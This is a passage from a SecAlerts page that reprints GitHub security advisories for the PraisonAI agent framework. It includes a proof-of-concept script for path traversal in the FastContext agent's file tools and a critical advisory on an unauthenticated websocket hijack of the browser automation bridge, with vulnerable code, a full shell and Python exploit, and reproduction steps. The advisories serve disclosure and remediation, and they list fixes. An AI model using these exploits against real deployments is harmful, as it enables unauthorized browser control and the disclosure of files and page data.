- PraisonAI Fast Context docs: https://docs.praison.ai/docs/features/fast-context - PraisonAI tools docs, Fast Context section: https://docs.praison.ai/docs/concepts/tools - PraisonAI repository advisories: https://github.com/MervinPraison/PraisonAI/security/advisories - GHSA-gcq3-mfvh-3x25: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-gcq3-mfvh-3x25 - GHSA-j7qx-p75m-wp7g: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-j7qx-p75m-wp7g - GHSA-22cj-m4wf-fv2c: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-22cj-m4wf-fv2c - GHSA-grrg-5cg9-58pf: https://github.com/advisories/GHSA-grrg-5cg9-58pf - GHSA-7j2f-xc8p-fjmq: https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-7j2f-xc8p-fjmq - CWE-22: https://cwe.mitre.org/data/definitions/22.html - CWE-200: https://cwe.mitre.org/data/definitions/200.html

Appendix: Self-Contained FastContext Workspace PoC

python #!/usr/bin/env python3 import json from pathlib import Path from tempfile import TemporaryDirectory

from praisonaiagents.context.fast import FastContext from praisonaiagents.context.fast.fastcontextagent import FastContextAgent

CANARY = "FASTCONTEXTCANARY=outside-workspace"

def main() -> None: with TemporaryDirectory(prefix="fastcontext-workspace-pov-") as tmp: temproot = Path(tmp) workspace = temproot / "workspace" workspace.mkdir() inside = workspace / "inside.txt" outside = temproot / "outside-secret.txt"

inside.writetext("INSIDEONLY=workspace\n", encoding="utf-8") outside.writetext(CANARY + "\n", encoding="utf-8")

agent = FastContextAgent(str(workspace), maxturns=2, maxparallel=4) simpleresult = agent.searchsimple(CANARY) insideresult = agent.executetool("readfile", filepath="inside.txt") relativeread = agent.executetool("readfile", filepath="../outside-secret.txt") absoluteread = agent.executetool("readfile", filepath=str(outside)) grepparent = agent.executetool("grepsearch", searchpath="..", pattern=CANARY, maxresults=5) globparent = agent.executetool("globsearch", searchpath="..", pattern=".txt", maxresults=5) listparent = agent.executetool("listdirectory", dirpath="..", maxentries=10)

context = FastContext(workspacepath=str(workspace), cacheenabled=False) contextread = context.readcontext("../outside-secret.txt")

results = { "simplesearchdoesnotfindoutsidecanary": len(simpleresult.files) == 0, "insidereadstillworks": "INSIDEONLY=workspace" in insideresult.get("content", ""), "relativetraversalreaddisclosescanary": CANARY in relativeread.get("content", ""), "absolutereaddisclosescanary": CANARY in absoluteread.get("content", ""), "grepparentdisclosescanary": any(CANARY in match.get("content", "") for match in grepparent), "globparentrevealsoutsidefile": any(match.get("path") == "outside-secret.txt" for match in globparent), "listparentrevealsoutsidefile": any(entry.get("name") == "outside-secret.txt" for entry in listparent.get("entries", [])), "highlevelreadcontextdisclosescanary": CANARY in (contextread or ""), }

print(json.dumps({"vulnerable": all(results.values()), "results": results}, indent=2, sortkeys=True))

if name == "main": main()

1 / 2
Source: GitHub
First published (updated )
Severity
9.1
AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N

Summary praisonai browser start exposes the browser bridge on 0.0.0.0 by default, and its /ws endpoint accepts websocket clients that omit the Origin header entirely. An unauthenticated network client can connect as a fake controller, send startsession, cause the server to forward startautomation to another connected browser-extension websocket, and receive the resulting action/status stream back over that hijacked session. This allows unauthorized remote use of a connected browser automation session without any credentials.

Details The issue is in the browser bridge trust model. The code assumes that websocket peers are trusted local components, but that assumption is not enforced.

Relevant code paths:

- Default network exposure: src/praisonai/praisonai/browser/server.py:38-44 and src/praisonai/praisonai/browser/cli.py:25-30 - Optional-only origin validation: src/praisonai/praisonai/browser/server.py:156-173 - Unauthenticated startsession routing: src/praisonai/praisonai/browser/server.py:237-240 and src/praisonai/praisonai/browser/server.py:289-302 - Cross-connection forwarding to any other idle websocket: src/praisonai/praisonai/browser/server.py:344-356 - Broadcast of action output back to the initiating unauthenticated client: src/praisonai/praisonai/browser/server.py:412-423 and src/praisonai/praisonai/browser/server.py:462-476

The handshake logic only checks origin when an Origin header is present:

python origin = websocket.headers.get("origin") if origin: ... if not isallowed: await websocket.close(code=1008) return

await websocket.accept()

This means a non-browser client can omit Origin completely and still be accepted.

After that, any connected client can send {"type":"startsession", ...}. The server then looks for the first other websocket without a session and sends it a startautomation message:

python if clientconn != conn and clientconn.websocket and not clientconn.sessionid: await clientconn.websocket.sendtext(jsonmod.dumps(startmsg)) clientconn.sessionid = sessionid senttoextension = True break

When the extension-side connection responds with an observation, the resulting action is broadcast to every websocket with the same sessionid, including the unauthenticated initiating client:

python actionresponse = { "type": "action", "sessionid": sessionid, action, }

for clientid, clientconn in self.connections.items(): if clientconn.sessionid == sessionid and clientconn != conn: await clientconn.websocket.sendjson(actionresponse)

I verified this on the latest local checkout: praisonai version 4.5.134 at commit 365f75040f4e279736160f4b6bdb2bdb7a3968d4.

PoC I used tmp/pocs/poc.sh to reproduce the issue from a clean local checkout.

Run:

bash cd "/Users/r1zzg0d/Documents/CVE hunting/targets/PraisonAI" ./tmp/pocs/poc.sh

Expected vulnerable output:

text [+] No-Origin client accepted: True [+] Session forwarded to extension: True [+] Action broadcast to attacker: True [+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.

Step-by-step reproduction:

1. Start the local browser bridge from the checked-out source tree. 2. Connect one websocket as a stand-in extension using a valid chrome-extension://<32-char-id> origin. 3. Connect a second websocket with no Origin header. 4. Send startsession from the unauthenticated websocket. 5. Observe that the server forwards startautomation to the extension websocket. 6. Send an observation from the extension websocket using the assigned sessionid. 7. Observe that the resulting action and completion status are delivered back to the unauthenticated initiating websocket.

tmp/pocs/poc.sh:

sh #!/bin/sh set -eu

SCRIPTDIR="$(CDPATH= cd -- "$(dirname -- "$0")" && pwd)"

cd "$SCRIPTDIR/../.."

exec uv run --no-project \ --with fastapi \ --with uvicorn \ --with websockets \ python3 "$SCRIPTDIR/poc.py"

tmp/pocs/poc.py:

python #!/usr/bin/env python3 """Verify unauthenticated browser-server session hijack on current source tree.

This PoC starts the BrowserServer from the local checkout, connects: 1. A fake extension client using an arbitrary chrome-extension Origin 2. An attacker client with no Origin header

It then shows the attacker can start a session that the server forwards to the extension connection, and can receive the resulting action broadcast back over that hijacked session. """

from future import annotations

import asyncio import json import os import socket import sys import tempfile from pathlib import Path

REPOROOT = Path(file).resolve().parents[2] SRCROOT = REPOROOT / "src" / "praisonai" if str(SRCROOT) not in sys.path: sys.path.insert(0, str(SRCROOT))

def pickport() -> int: with socket.socket(socket.AFINET, socket.SOCKSTREAM) as sock: sock.bind(("127.0.0.1", 0)) return sock.getsockname()[1]

class DummyBrowserAgent: """Minimal stub to avoid real LLM/browser dependencies during validation."""

def init(self, model: str, maxsteps: int, verbose: bool): self.model = model self.maxsteps = maxsteps self.verbose = verbose

async def aprocessobservation(self, message: dict) -> dict: return { "action": "done", "thought": f"processed: {message.get('url', '')}", "done": True, "summary": "dummy action generated", }

async def main() -> int: temphome = tempfile.TemporaryDirectory(prefix="praisonai-browser-poc-") os.environ["HOME"] = temphome.name

from praisonai.browser.server import BrowserServer import praisonai.browser.agent as agentmodule import uvicorn import websockets

agentmodule.BrowserAgent = DummyBrowserAgent

port = pickport() server = BrowserServer(host="127.0.0.1", port=port, verbose=False) app = server.getapp()

config = uvicorn.Config( app, host="127.0.0.1", port=port, loglevel="error", accesslog=False, ) uvicornserver = uvicorn.Server(config) servertask = asyncio.createtask(uvicornserver.serve())

try: for in range(50): if uvicornserver.started: break await asyncio.sleep(0.1) else: raise RuntimeError("Uvicorn server did not start in time")

wsurl = f"ws://127.0.0.1:{port}/ws"

async with websockets.connect( wsurl, origin="chrome-extension://aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa", ) as extensionws: extensionwelcome = json.loads(await extensionws.recv()) print("[+] Extension welcome:", extensionwelcome)

async with websockets.connect(wsurl) as attackerws: attackerwelcome = json.loads(await attackerws.recv()) print("[+] Attacker welcome:", attackerwelcome)

await attackerws.send( json.dumps( { "type": "startsession", "goal": "Open internal admin page and reveal secrets", "model": "dummy", "maxsteps": 1, } ) ) startresponse = json.loads(await attackerws.recv()) print("[+] Attacker startsession response:", startresponse)

hijackedmsg = json.loads(await extensionws.recv()) print("[+] Extension received forwarded message:", hijackedmsg)

sessionid = hijackedmsg["sessionid"] await extensionws.send( json.dumps( { "type": "observation", "sessionid": sessionid, "stepnumber": 1, "url": "https://victim.example/internal", "elements": [{"selector": "#secret"}], } ) )

attackeraction = json.loads(await attackerws.recv()) attackerstatus = json.loads(await attackerws.recv()) print("[+] Attacker received broadcast action:", attackeraction) print("[+] Attacker received completion status:", attackerstatus)

nooriginclientconnected = attackerwelcome.get("status") == "connected" forwardedtoextension = hijackedmsg.get("type") == "startautomation" actionbroadcasted = ( attackeraction.get("type") == "action" and attackeraction.get("sessionid") == sessionid )

print("[+] No-Origin client accepted:", nooriginclientconnected) print("[+] Session forwarded to extension:", forwardedtoextension) print("[+] Action broadcast to attacker:", actionbroadcasted)

if nooriginclientconnected and forwardedtoextension and actionbroadcasted: print("[+] RESULT: VULNERABLE - unauthenticated client can hijack browser sessions.") return 0

print("[-] RESULT: NOT VULNERABLE") return 1 finally: uvicornserver.shouldexit = True try: await asyncio.waitfor(servertask, timeout=5) except Exception: servertask.cancel() temphome.cleanup()

if name == "main": raise SystemExit(asyncio.run(main()))

tmp/pocs/poc.py starts a temporary local server, stubs the browser agent, opens both websocket roles, and prints the final vulnerability conditions explicitly.

PoC Video:

https://github.com/user-attachments/assets/df078542-bbdc-4341-b438-89c86365009e

Impact This is an unauthenticated remote-control vulnerability in the browser automation bridge. Any network client that can reach the exposed bridge can impersonate the controller side of the workflow, hijack an available connected extension session, and receive automation output from that hijacked session. In real deployments, this can allow unauthorized browser actions, misuse of model-backed automation, and leakage of sensitive page context or automation results.

Who is impacted:

- Operators who run praisonai browser start with the default host binding - Users with an active connected browser extension session - Environments where the bridge is reachable from other hosts on the network

Recommended Fix Suggested remediations:

1. Require explicit authentication for every websocket client connecting to /ws. 2. Reject websocket handshakes that omit Origin, unless they are using a separate authenticated localhost-only transport. 3. Bind the browser bridge to 127.0.0.1 by default and require explicit operator opt-in for non-loopback exposure. 4. Do not route startsession to “the first other idle connection”; instead, pair authenticated controller and extension clients explicitly.

1 / 2
Source: GitHub
First published (updated )

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203